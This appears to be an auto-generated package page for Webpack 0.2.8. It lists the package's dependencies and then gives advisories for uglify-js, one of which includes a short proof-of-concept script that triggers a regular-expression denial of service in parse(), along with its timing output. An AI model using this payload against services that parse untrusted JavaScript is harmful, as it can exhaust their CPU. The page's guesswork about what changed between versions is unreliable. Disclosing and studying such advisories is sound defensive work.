Webpack version 0.2.8, released on March 26, 2012, builds upon version 0.2.7, released a week earlier on March 19, 2012, continuing its mission to streamline front-end development. Both versions are designed to pack CommonJS modules for browser use, enabling developers to split codebases into smaller, more manageable bundles that load on demand, improving application performance and user experience. The core dependencies remain consistent between the two versions, including esprima for JavaScript parsing, sprintf for string formatting, optimist for command-line argument parsing, and uglify-js for code minification. They also share development dependencies like vows for testing and optional dependencies vm-browserify and http-browserify for browserifying Node.js modules.
While the functional description remains the same, the key difference lies in the subtly updated release date. This suggests that version 0.2.8 likely incorporates bug fixes, minor tweaks, or performance enhancements addressing issues identified in the preceding 0.2.7 release, without introducing significant new features or API changes. Developers already using Webpack 0.2.7 should consider upgrading to 0.2.8 to benefit form these improvements and a potentially more stable development environment. New users can directly use the last version which brings all the fixes and should be more stable.
All the vulnerabilities related to the version 0.2.8 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.